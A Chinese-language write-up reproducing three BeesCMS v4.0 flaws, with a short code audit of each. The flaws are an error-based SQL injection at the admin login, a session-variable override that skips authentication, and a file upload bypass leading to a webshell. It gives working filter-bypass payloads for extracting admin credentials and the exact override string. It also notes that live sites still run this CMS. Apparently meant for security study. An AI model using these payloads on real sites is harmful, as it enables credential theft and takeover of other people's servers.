前言
本次復現的漏洞有:
- 後臺報錯注入漏洞
- 變量覆蓋漏洞
- 文件上傳漏洞
Beescms v4.0由於後臺登錄設計缺陷以及代碼防護缺陷導致存在bypass全局防護的SQL注入、文件上傳、變量覆蓋漏洞。現在依然有許多企業選用BeesCMS4.0,百度搜powerd by BEESCMS © 2010-2015 www.beescms.com 還是有很多站的:
漏洞復現
後臺報錯注入
正常輸入後臺賬號密碼提示密碼錯誤:
輸入admin’報錯,此處爲顯錯注入:
admin'
使用order by 10探測字段長度,最終探測長度爲5
order by 5#
order by 6#
爆數據庫名時and被過濾,採用空格+雙寫繞過:
admin' an and d updatexml(1,concat(0x7e,select database(),0x7e),1)#
查表名時from、where、=被過濾:
依然採用空格+雙寫繞過:
第一張表:-admin' an and d updatexml(1,concat(0x7e,(seselectlect table_name fr from om information_schema.tables wh where ere table_schema like 'bees' limit 0,1),0x7e),1)#
第二章表:-admin' an and d updatexml(1,concat(0x7e,(seselectlect table_name fr from om information_schema.tables wh where ere table_schema like 'bees' limit 1,1),0x7e),1)#
爆列名:
列名1:admin'a and nd updatexml(1,concat(0x7e,(seselectlect column_name fr from om information_schema.columns wh where ere table_name like 'bees_admin' limit 1,1),0x7e),1)#
列名2:admin'a and nd updatexml(1,concat(0x7e,(seselectlect column_name fr from om information_schema.columns wh where ere table_name like 'bees_admin' limit 2,1),0x7e),1)#
爆字段:
字段1:admin'a and nd updatexml(1,concat(0x7e,(seselectlect admin_name fr from om bees.bees_admin limit 0,1),0x7e),1)#
字段2:admin'a and nd updatexml(1,concat(0x7e,(seselectlect admin_password fr from om bees.bees_admin limit 0,1),0x7e),1)#
代碼審計
login.php
首先看一下後臺的login.php,這裏定義了f1_value()和f1_html()兩個函數來進行過濾:
這兩個函數在fun.php文件中,跟進看一下這他們的內容:
f1_value()對用戶輸入的字符串進行了比較嚴格的過濾,很多手注的關鍵字跟特殊符號都被過濾了,但也只是過濾一次,雙寫依然可以bypass。
f1_html()調用了htmlspecialchars()函數,它的作用是把特殊字符進行html實體轉義,看似加了一道屏障,實則是加了一處隱患,這個函數雖然也轉義’但是轉義之後仍然是’,這樣就造成了後臺的一個報錯注入:
這樣雙寫+f1_html漏洞就成功的讓我們進行手注來拿後臺賬號密碼了,後期要想寫shell,只需要將shell內容進行Hex編碼即可繞過htmlspecialchars()函數
upload.php
這裏還有一個文件上傳漏洞,我們看一下源碼,我們上傳的文件是經過is_uploaded_file()函數來檢測的:
跟進看一下,這裏對文件type進行了白名單檢測,所以我們只要修改一下Content-Type爲image/jpg,即可繞過,下文我會繼續復現此漏洞。
Init.php
這裏存在一個變量覆蓋,具體效果就是覆蓋_SESSION來繞過後臺登錄驗證,這裏定義了一個is_login()函數來檢測登錄:
跟進is_login(),也是在fun.php裏:
這裏只要_SESSION[login_in]=1並且_SESSION[admin]=1和_SESSION[login_time]<3600就相當於你已經登錄後臺了,而它是先初始化變量,在進行登陸判斷,又沒有對http請求進行設置,所以導致前臺POST覆蓋變量直接登錄後臺。
GetShell
變量覆蓋
Exp:_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=99999999999
訪問/admin成功繞過登陸驗證:
文件上傳
這裏在測試的時候出現了問題!雖然我修改了Content-Type,但是上傳依然沒有成功,我發現無論是.jpg還是.php,它的Content-Type都是multipart/form-data,於是我試了試先傳一個圖片,然後在修改後綴名,改爲.php,結果竟然成功了!
先傳一個圖片馬:
上傳成功後修改後綴名突破上傳:
而且我發現,上傳的木馬跟圖片的名字是一樣的,也就是說你只需要更改上傳圖片的後綴名即可,這個系統對上傳的文件名進行了更改處理,這樣一來也不需要去分析上傳的時間了!
蟻劍連接:
注:本文僅供參考學習,請勿在網上搞破壞,觸犯法律者應承擔相應的法律責任!